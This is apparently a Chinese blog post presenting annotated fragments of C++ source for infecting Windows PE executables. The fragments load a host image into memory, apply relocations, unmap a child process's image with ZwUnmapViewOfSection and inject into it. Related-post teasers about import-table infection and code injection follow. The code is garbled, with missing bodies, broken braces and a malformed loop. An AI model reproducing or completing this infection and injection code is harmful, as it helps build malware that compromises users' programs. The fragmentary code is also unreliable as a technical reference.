最近學習了一下pe檔案,看了份pe檔案感染原始碼,分析了一下,其實就是修改程序,拋磚引玉
本來想把整個**發下,但是太大了,只發函式的
#/讀取檔案pe資訊
bool readpeinfo(file* fp,mzheader* outmz,pe_header* outpe,pe_extheader* outpexh,sectionheader** outsechdr)
//讀取pe擴充套件頭資訊,不必移動指標
pe_extheader pexh;
fread(&pexh,sizeof(pe_extheader),1,fp);
//讀取節表頭資訊,節表頭為乙個陣列
sectionheader* sechdr=new sectionheader[peh.numsections];
fread(sechdr,sizeof(sectionheader)*peh.numsections,1,fp);
*outmz=mzh;
*outpe=peh;
*outpexh=pexh;
*outsechdr=sechdr;
return true;
}//經典的區塊分配函式
dword aligndata(dword dwsize,dword dwalign)
計算檔案在記憶體中大小,其實就是可選頭中sizeofimage;
int calctotalimagesize(mzheader* inmz,pe_header* inpe,pe_extheader* inpexh,sectionheader* insechdr)
return result;
}///將母體檔案匯入記憶體
bool loadpe(file* fp,mzheader* inmz,pe_header* inpe,pe_extheader* inpexh,sectionheader* insechdr,lpvoid ptrloc)
}unsigned long readsize;
//將母體檔案頭讀取到記憶體中
readsize=fread(outptr,1,headsize,fp);
if(readsize!=headsize)
//移動記憶體指標
outptr+=aligndata(headsize,inpexh->sectionalignment);
///將各個節匯入記憶體
for(int n=0;inumsections;i++)
//移動檔案指標到各節開始
fseek(fp,insechdr[i].pointertorawdata,seek_set);
//將此節匯入記憶體
readsize=fread(outptr,1,toread,fp);
if(readsize!=toread)
//移動記憶體位址
outptr+=aligndata(toread,inpexh->sectionalignment);
}//如果此值為空,則以在記憶體中大小為準
else}}
return true;
}//自定位重定位結構體
struct fixupblock
;///進行基址重定位
void dorelocation(mzheader* inmz,pe_header* inpe,pe_extheader* inpexh,sectionheader* insechdr,lpvoid ptrloc,dword newbase)
//使offsetptr指向下乙個重定位資料項
offsetptr++;
}fixblk=(fixupblock*)offsetptr;}}
}bool hasrelocationtable(pe_extheader* inpexh)
return false;
}//定義感染程式資訊結構體
typedef struct _procinfo
procinfo;
//建立感染子程式
bool createchild(process_information pi,pcontext ctx,procinfo* outchild)
curadd+=meminfo.regionsize;
}//計算子程式匯入記憶體後的大小
outchild->imagesize=curadd-outchild->baseaddr;
}return false;
}typedef dword (winapi* ptrzwunmapviewofsection)(in handle processhandle,in pvoid baseaddress);
//進行感染
void dofork(mzheader* inmz,pe_header* inpe,pe_extheader* inpexh,sectionheader* insechdr,lpvoid ptrloc,dword imagesize)}}
//如果需要重定位,則進行重定位
if(!v &&hasrelocationtable(inpexh))
}if(v)
else
}else}}
}int main(int argc, char* argv)
else
fclose(fp);}}
else
return 0;}
分享到:
PE檔案感染雜談
pe檔案規定了可執行檔案的格式,凡是符合此格式的檔案都能在windows系統上執行。pe檔案的格式暫且不談,說一些感染pe檔案的幾種途徑。匯入表感染。這個涉及比較複雜的操作,首先,要自行寫乙個dll檔案,提供程式中對原dll引用的所有函式,然後增加乙個節區,修改importaddress中的位址,使...
感染PE檔案的乙個簡單例項
感染pe檔案的乙個簡單例項 code include addcode.a addcode.a 就是你要寫入檔案中的 為了使他能夠正確執行,有乙個重定位的問題,這個到後面再講。以上開啟要感染的檔案並將它對映到記憶體中去,沒什麼好講的。如果不會用,可以查微軟的msdn中的api參考。下面開始分析pe格式...
屠夫科普 感染PE增加匯入項實現注入
上篇文章 屠夫話題 關於mmrpg型輔助相對通用框架的討論 承諾放出原始碼分享.今天實現.之前有朋友說此方法還不夠通用.原因有個別國外遊戲會啟動後,對自身載入的所有檔案進行hash效驗,不過它可以檢測自帶的檔案.難道連系統檔案也效驗.先判斷當前系統.再取得微軟的效驗碼?這強度未免太大了吧.我乙個人實...